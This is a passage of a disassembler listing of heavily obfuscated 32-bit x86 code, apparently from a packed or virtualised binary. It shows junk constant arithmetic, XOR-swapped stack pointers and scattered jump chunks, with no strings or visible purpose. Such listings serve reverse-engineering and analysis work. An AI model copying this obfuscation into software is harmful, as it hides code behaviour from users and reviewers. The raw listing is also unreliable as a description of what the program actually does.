; END OF FUNCTION CHUNK	FOR sub_5A477C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5A809B	proc near		; DATA XREF: sdfs____:00598F08o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 005994F7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059CBE7 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0059FE9E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A01CF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A459F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A60BC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A65A5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A68D7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AC8BC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AD44C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AF19A SIZE 00000009 BYTES

		mov	ax, word ptr [esp-8+arg_0]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5A459F
sub_5A809B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5A80B3	proc near		; DATA XREF: sdfs____:00598F98o

var_8		= dword	ptr -8

		push	dword ptr [esp+0]
		pop	ecx
		push	eax
		push	4011h
		mov	[esp+8+var_8], esp
		push	ebp
		jmp	loc_59E051
sub_5A80B3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5A80C6:				; CODE XREF: sub_5A63DC+700Fj
		mov	ecx, 7B0C5E6Eh
		add	ecx, 0C2680828h
		jmp	loc_5A474E
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A80D6:				; CODE XREF: sub_5A12E6-5654j
					; sub_5AA2D1-AC0Cj ...
		jo	loc_5A01C3
		push	edx
		jmp	loc_5A5E76
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5A80E2:				; CODE XREF: sub_5A0AA2-7CFj
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		xor	ebx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ebx
		mov	ebx, esp
		jmp	loc_5AB1E5
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A80F6:				; CODE XREF: sub_5992DA+FC73j
		pop	esi
		xor	ebp, edi
		mov	edi, [esp-0Ch+arg_8]
		jmp	loc_59C8E2
; END OF FUNCTION CHUNK	FOR sub_5992DA

; =============== S U B	R O U T	I N E =======================================



sub_5A8101	proc near		; DATA XREF: sdfs____:00599064o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A2C54 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005ABD7D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AD667 SIZE 0000000D BYTES

		mov	ax, [esp+0]
		push	1872h
		mov	[esp+4+var_4], edx
		jmp	loc_5A2C54
sub_5A8101	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5AF2


loc_5A8112:				; CODE XREF: sub_5A5AF2-5262j
		add	esp, 2
		inc	bl
		push	eax
		jmp	loc_5A395B
; END OF FUNCTION CHUNK	FOR sub_5A5AF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A811D:				; CODE XREF: sub_59D6B8+715Aj
		push	6948h
		mov	[esp+18h+var_18], esp
		add	[esp+18h+var_18], 4
		pop	ebp
		push	ecx
		mov	ecx, 11F169DBh
		not	ecx
		shr	ecx, 6
		add	ecx, 0FC47C5ACh
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A814F:				; CODE XREF: sub_5A0FFF-3B8Fj
		add	ebp, eax
		add	ebp, 55D650DDh
		pop	eax
		jmp	sub_599E58
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A815D:				; CODE XREF: sub_5992DA+DA00j
		shl	esi, 1
		sub	esp, 4
		mov	[esp+24h+var_26+2], esi
		jmp	loc_5A4DE3
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A816D:				; CODE XREF: sub_5A0FFF-37F8j
		xor	ebp, 72D74617h
		add	eax, 64413917h
		add	eax, ebp
		sub	eax, 64413917h
		jmp	loc_5A0700
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_5A8184:				; CODE XREF: sub_59A479+A88Bj
		add	ecx, 4FED7FDFh
		sub	ecx, edi
		jmp	loc_5AFE92
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A8191:				; CODE XREF: sub_5A6BBC+4B79j
		shr	ebx, 1
		push	0AE2h
		mov	[esp+4+var_4], ecx
		mov	ecx, 15DC3775h
		or	ebx, ecx
		pop	ecx
		push	ecx
		push	eax
		mov	eax, 368401CAh
		and	eax, 2BF00C22h
		jnb	loc_59FE0B
		sub	eax, 0AFF59EA6h
		mov	ecx, eax
		jmp	loc_5A754E
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
		add	bl, 0A4h

; =============== S U B	R O U T	I N E =======================================



sub_5A81C4	proc near		; CODE XREF: sub_5AF2D9-D5FBj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059AFED SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059CAE9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059D967 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A011D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A363B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A3D78 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A4FF2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A9436 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ACA1A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005AF358 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AF629 SIZE 0000000E BYTES

		sub	esp, 4
		jmp	loc_59AFED
sub_5A81C4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_5A81CC:				; CODE XREF: sub_59A7E7+52DAj
		add	esi, 2
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		xor	al, cl
		mov	ecx, [esp+0]
		jmp	loc_5997B1
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A81DF:				; CODE XREF: sub_5A5EFF-751Fj
					; sub_5AC803-3CEFj ...
		not	esi
		or	esi, 3EB528Dh
		jg	loc_59E217
		add	esi, 179EF81Ch
		mov	eax, esi
		pop	esi
		xor	esi, eax
		pop	eax


loc_5A81F9:				; CODE XREF: sub_59993B+E34j
		push	esp
		pop	esi
		add	esi, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		xor	esi, [esp+1Ch+var_1C]
		xor	[esp+1Ch+var_1C], esi
		jmp	loc_5A99AD
; END OF FUNCTION CHUNK	FOR sub_5992DA

; =============== S U B	R O U T	I N E =======================================



sub_5A8215	proc near		; CODE XREF: sub_59BA35+A71Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059A28C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059A2D5 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059A774 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059C298 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059CE58 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059DBF7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059EF2B SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059F50A SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A3468 SIZE 0000003F BYTES
; FUNCTION CHUNK AT 005A7A80 SIZE 0000004C BYTES
; FUNCTION CHUNK AT 005A8501 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A8523 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9C15 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AA8D1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005ACF10 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AEE86 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AFC14 SIZE 0000001A BYTES

		push	ebx
		jmp	loc_59CE58
sub_5A8215	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5A821B:				; CODE XREF: sub_5A79BE-1387j
		shr	esi, 3
		jnz	loc_5A25D4
		xor	esi, 77F4C63h
		push	esi
		jmp	sub_5992DA
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A8230:				; CODE XREF: sub_5AA2D1-4C0Dj
					; sub_5A577C+680Cj
		pop	ebx
		jmp	loc_5A44ED
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5A8236:				; CODE XREF: sub_5A118F+57A3j
		sub	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		sub	edx, 4
		xchg	edx, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], edx
		jmp	loc_59F07F
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_5A825D:				; CODE XREF: sub_5A9EBF-E8Bj
		mov	edx, edi
		pop	edi
		add	ecx, edx
		jmp	loc_59AF2F
; END OF FUNCTION CHUNK	FOR sub_5A9EBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DB


loc_5A8267:				; CODE XREF: sub_5AB3DB-AD29j
					; sdfs____:005A1DB6j
		push	edi
		jmp	loc_5AFA46
; END OF FUNCTION CHUNK	FOR sub_5AB3DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2AFE


loc_5A826D:				; CODE XREF: sub_5A2AFE+CBBFj
		shl	ecx, 1
		jmp	loc_59B701
; END OF FUNCTION CHUNK	FOR sub_5A2AFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A8274:				; CODE XREF: sub_5992DA+D047j
		shr	esi, 4
		jnz	loc_5A6CD4
		sub	esi, 144264DDh
		jmp	sub_5A77D5
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5A8288:				; CODE XREF: sub_5A0AA2-6FA0j
		or	ecx, ebx
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		sub	ecx, 89A8F6D2h
		jmp	loc_59DF1E
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF294


loc_5A829E:				; CODE XREF: sub_5AF294-82C7j
		push	5FB1h
		mov	[esp-0Ch+arg_8], ebx
		mov	ebx, 0
		sub	esp, 4
		mov	[esp-8+arg_4], eax
		mov	eax, 126C005Eh
		add	ebx, 1CA76F30h
		jmp	loc_5A4FA2
; END OF FUNCTION CHUNK	FOR sub_5AF294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4D2


loc_5A82C4:				; CODE XREF: sub_59F4D2+1j
		mov	ebp, 0DDC6672h
		jmp	loc_5A3282
; END OF FUNCTION CHUNK	FOR sub_59F4D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A82CE:				; CODE XREF: sub_5AA2D1-10F7Cj
		jmp	loc_5A5F65
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5996E4


loc_5A82D3:				; CODE XREF: sub_5996E4+C04Cj
		xchg	ebp, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+0], eax
		sub	esp, 4
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_5991F8
; END OF FUNCTION CHUNK	FOR sub_5996E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A82FC:				; CODE XREF: sub_5992DA+283Aj
		pop	ecx
		pop	eax
		sub	esp, 4
		mov	[esp-4+arg_0], ebp
		mov	ebp, 26DA6BC3h
		push	esi
		mov	esi, 15592A5Dh
		jmp	loc_59DDF4
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A8317:				; CODE XREF: sub_5AA2D1-EE8j
					; sub_5A6BBC+623Fj
		pop	eax
		xchg	edi, [esp-18h+arg_14]
		pop	esp
		mov	word ptr [esp-1Ch+arg_18], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A832C:				; CODE XREF: sub_5AA2D1+DE5j
		mov	word ptr [esp-16h+arg_10+2], dx
		push	eax
		mov	ah, 55h
		inc	ah
		neg	ah
		jz	loc_5A888C
		not	ah
		jmp	loc_59ADA3
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_5A8344:				; CODE XREF: sub_5A9EC5-5F67j
		shl	bh, 2
		xor	bh, 0AFh
		jmp	loc_59D34A
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADBA5


loc_5A834F:				; CODE XREF: sub_5ADBA5-2787j
		xor	al, cl
		pop	ecx
		xor	bl, al
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_5AC71D
; END OF FUNCTION CHUNK	FOR sub_5ADBA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A835F:				; CODE XREF: sub_5AA2D1+27C8j
		not	al
		and	al, 8Dh
		js	loc_5A23E9
		add	al, 5Fh
		mov	dl, al
		mov	eax, [esp-12h+arg_C+2]
		mov	al, dl
		pop	edi
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A8373:				; CODE XREF: sub_59EE3E+8A8Dj
		push	eax
		jmp	loc_59A711
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FC02


loc_5A8379:				; CODE XREF: sub_59FC02+903Cj
		mov	esp, [esp+0Ch+var_C]
		or	eax, eax
		jz	sub_59993B
		push	dword ptr [edi+1Ch]
		push	[esp+4+var_4]
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5AF49F
; END OF FUNCTION CHUNK	FOR sub_59FC02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A839C:				; CODE XREF: sub_5AA2D1-D07Cj
		push	edi
		jmp	loc_5ACAE1
; ---------------------------------------------------------------------------


loc_5A83A2:				; CODE XREF: sub_5AA2D1+8F8j
		pop	esp
		xchg	edx, [esp-16h+arg_10+2]
		pop	esp
		push	4E5Fh
		mov	[esp-16h+arg_10+2], ebx
		mov	ebx, esp
		jmp	loc_59D292
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD243


loc_5A83B6:				; CODE XREF: sub_5AD243-EA2Ej
		push	[esp-10h+arg_10]
		pop	eax
		pop	dword ptr [esp+0]
		jmp	loc_5A71A3
; END OF FUNCTION CHUNK	FOR sub_5AD243
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF294


loc_5A83C3:				; CODE XREF: sub_5AF294-119D3j
		add	esi, ebx
		jmp	loc_5A6FBF
; END OF FUNCTION CHUNK	FOR sub_5AF294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A83CA:				; CODE XREF: sub_5A2E28-81B9j
					; sub_5AA2D1-6788j
		sub	al, dl
		pop	dx
		push	ebx
		push	dx
		mov	dl, 44h
		mov	bh, dl
		pop	dx
		and	bh, 0D6h
		add	bh, 0DBh
		jmp	loc_59D599
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3E64


loc_5A83E2:				; CODE XREF: sub_5A3E64+A7FCj
		add	ebp, ecx
		push	edi
		mov	edi, 6EE47C50h
		sub	ebp, edi
		pop	edi
		pop	ecx
		add	ebp, eax
		jmp	loc_5AE34A
; END OF FUNCTION CHUNK	FOR sub_5A3E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5B27


loc_5A83F5:				; CODE XREF: sub_5A5B27-6EDFj
		xor	eax, 1E7296h
		ja	loc_5A65BD
		sub	eax, 0DD5DADCAh
		mov	esi, eax
		pop	eax
		sub	esi, 0FFFFFFFFh
; END OF FUNCTION CHUNK	FOR sub_5A5B27
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A840B:				; CODE XREF: sub_5AA2D1-DE13j
		neg	edi
		add	edi, 0C04B30D3h
		add	ebx, edi
		pop	edi
		push	edi
		jmp	loc_5A5A2C
; ---------------------------------------------------------------------------


loc_5A841C:				; CODE XREF: sub_5AA2D1-9789j
		add	bh, 0D7h
		jo	loc_59B114
		add	bh, 22h
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		mov	[esp-6+arg_0+2], ecx
		mov	ch, bh
		mov	dl, ch
		pop	ecx
		pop	ebx
		jmp	loc_5A271A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A8447:				; CODE XREF: sdfs____:005A0372j
					; sub_5B01F7-646Fj
		add	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		jmp	loc_59B523
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A8453:				; CODE XREF: sub_5AA2D1:loc_5AAAFCj
		sub	esi, 5E7E5D24h
		jbe	loc_59C42F
		jmp	loc_59E116
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_5A8464:				; CODE XREF: sub_5A9EC5-30E4j
		mov	ebx, 4
		sub	ebp, 7C7324F7h
		add	ebp, ebx
		add	ebp, 7C7324F7h
		pop	ebx
		jmp	sub_59B4B1
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A847D:				; CODE XREF: sub_5AA2D1-B666j
		push	227Fh
		mov	[esp+8+var_8], edi
		push	edx
		push	163E4E62h
		pop	edx
		dec	edx
		xor	edx, 123635C0h
		push	esi
		jmp	loc_5A6676
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_5A8499:				; CODE XREF: sub_59E94B+5EF0j
		mov	ebp, [esp-0Ch+arg_8]
		add	esp, 4
		add	edi, 5D4F47D5h
		sub	edi, 0B073D8Eh
		add	edi, eax
		add	edi, 0B073D8Eh
		push	ebx
		mov	ebx, 5D4F47D5h
		jmp	loc_5AB550
; END OF FUNCTION CHUNK	FOR sub_59E94B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A84C1:				; CODE XREF: sub_5AA2D1+3AABj
		pop	[esp+10h+var_10]
		pop	esp
		xor	ebp, [esp+8+var_8]
		xor	[esp+8+var_8], ebp
		xor	ebp, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		add	esp, 4
		push	edi
		mov	edi, 4
		and	ecx, edi
		mov	edi, [esp+8+var_8]
		push	esi
		push	5EB4h
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		pop	esi
		push	edi
		mov	edi, 8902B2Ah
		sub	edi, 8902B26h
		jmp	loc_59D134
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8215


loc_5A8501:				; CODE XREF: sub_5A8215-8CE7j
		pop	edx
		and	eax, ebp
		pop	ebp
		shr	eax, 0Ch
		xor	eax, ecx
		push	436Bh
		jmp	loc_5ACF10
; END OF FUNCTION CHUNK	FOR sub_5A8215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5824


loc_5A8514:				; CODE XREF: sub_5A5824+31F0j
		pop	edi
		xor	[edi+24h], edx
		push	ebx
		mov	ebx, 24h
		jmp	loc_5A6B66
; END OF FUNCTION CHUNK	FOR sub_5A5824
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8215


loc_5A8523:				; CODE XREF: sub_5A8215+4CFEj
		xor	[esp+4+var_4], edi
		xor	edi, [esp+4+var_4]
		jmp	loc_5A9C15
; END OF FUNCTION CHUNK	FOR sub_5A8215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5A852E:				; CODE XREF: sub_5A580F+A7F2j
		pop	ebp
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4E8


loc_5A8534:				; CODE XREF: sub_59A4E8+12F54j
		pop	esi
		jmp	loc_5A1A31
; END OF FUNCTION CHUNK	FOR sub_59A4E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A853A:				; CODE XREF: sub_5AA2D1+49BAj
		sub	bl, 0F8h
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	[esp+14h+var_14]
		jmp	loc_5A52B1
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5A854B:				; CODE XREF: sdfs____:0059D484j
		xor	eax, [esp]
		pop	esp
		jmp	loc_5A0CF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABEF6


loc_5A8554:				; CODE XREF: sub_5ABEF6-1D50j
		mov	[esp+0], eax
		sub	dword ptr [esp+0], 4DF9684Eh
		jmp	loc_5ADDC1
; END OF FUNCTION CHUNK	FOR sub_5ABEF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A8563:				; CODE XREF: sub_5992DA+4F49j
		mov	ebp, [esp+0]
		add	esp, 4
		push	[esp+4+var_6+2]
		pop	ebx
		add	esp, 4
		or	esi, 3BE12683h
		jbe	loc_5A2C6D
		shl	esi, 5
		dec	esi
		xor	esi, 7C65D4DEh
		and	eax, esi
		mov	esi, [esp+0]
		jmp	loc_5A740F
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_5A8593:				; CODE XREF: sub_5AD795-5E39j
		push	6C49h
		mov	[esp+4+var_4], eax
		jmp	loc_59AC9C
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_5A85A0:				; CODE XREF: sub_59F02F+3D1Dj
		pop	ebx
		add	esp, 4
		jmp	sub_5A2D20
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A85A9:				; CODE XREF: sub_59EE3E-2FD8j
		mov	ebx, esi
		pop	esi
		add	ebp, 32783E2Ah
		add	ebp, ebx
		sub	ebp, 32783E2Ah
		pop	ebx
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp-8+arg_4]
		jmp	loc_5A90E6
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------


loc_5A85C6:				; CODE XREF: sdfs____:005ABF2Aj
		pop	edi
		add	esp, 4
		shr	edi, 7
		jnp	loc_5A4CE7
		push	edi
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		jmp	loc_59AC47

; =============== S U B	R O U T	I N E =======================================



sub_5A85E0	proc near		; CODE XREF: sub_5A2E28-5A0Cj
					; DATA XREF: sdfs____:0059900Co
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp+0], al
		pushf
		jmp	loc_59910F
sub_5A85E0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A85EF:				; CODE XREF: sub_59EE3E+16DBj
					; sub_5A75B9:loc_5AC875j
		or	ebx, 1FD56D0Fh
		jle	loc_5A6297
		shr	ebx, 4
		jnp	loc_5A4C75
		add	ebx, 1F06FFEAh
		add	ebx, 4BE25305h
		push	esi
		mov	ebp, ebp
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_5A8613:				; CODE XREF: sub_59A9E9-942j
		add	esp, 4
		add	edx, edi
		pop	edi
		xor	edx, [esp-4+arg_0]
		xor	[esp-4+arg_0], edx
		xor	edx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		jmp	loc_5AFB9D
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DB


loc_5A862A:				; CODE XREF: sub_5AB3DB-159Ej
		mov	eax, 32D04FAFh
		or	eax, 44793B55h
		jo	loc_5ACC65
		jmp	loc_5A06AF
; END OF FUNCTION CHUNK	FOR sub_5AB3DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE40A


loc_5A863F:				; CODE XREF: sub_5AE40A+1DBCj
		push	[esp+4+var_4]
		pop	ecx
		push	ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, 3ED03ECAh
		jmp	loc_59E9F6
; END OF FUNCTION CHUNK	FOR sub_5AE40A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A489F


loc_5A8651:				; CODE XREF: sub_5A489F+8j
		pop	ebx
		mov	ecx, [esp+8+var_8]
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		add	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		add	esi, ebx
		pop	ebx
		jmp	loc_5ACBF7
; END OF FUNCTION CHUNK	FOR sub_5A489F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5A8675:				; CODE XREF: sub_5A2E41+884Aj
		jmp	sub_5A4624
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------


loc_5A867A:				; CODE XREF: sdfs____:005AA3C8j
		add	esp, 4
		jmp	loc_5ACA35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A8682:				; CODE XREF: sub_5AA2D1-D5E2j
					; sub_5AA2D1-94A5j
		add	ebp, 3570721Fh
		mov	edi, ebp
		pop	ebp
		add	edi, 5BEF5E7Eh
		add	edi, 5C697FC6h
		sub	edi, 8E1ACB1Fh
		mov	ebp, edi
		push	[esp-4+arg_0]
		pop	edi
		add	esp, 4
		or	ebp, 3D587D92h
		inc	ebp
		push	eax
		mov	eax, 4BB578B6h
		and	ebp, eax
		jmp	loc_59B210
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C2A6


loc_5A86BA:				; CODE XREF: sub_59C2A6+53D1j
		sub	edx, 7951785Eh
		pop	ebp
		jmp	loc_5AA630
; END OF FUNCTION CHUNK	FOR sub_59C2A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_5A86C6:				; CODE XREF: sub_5A9EBF+61A1j
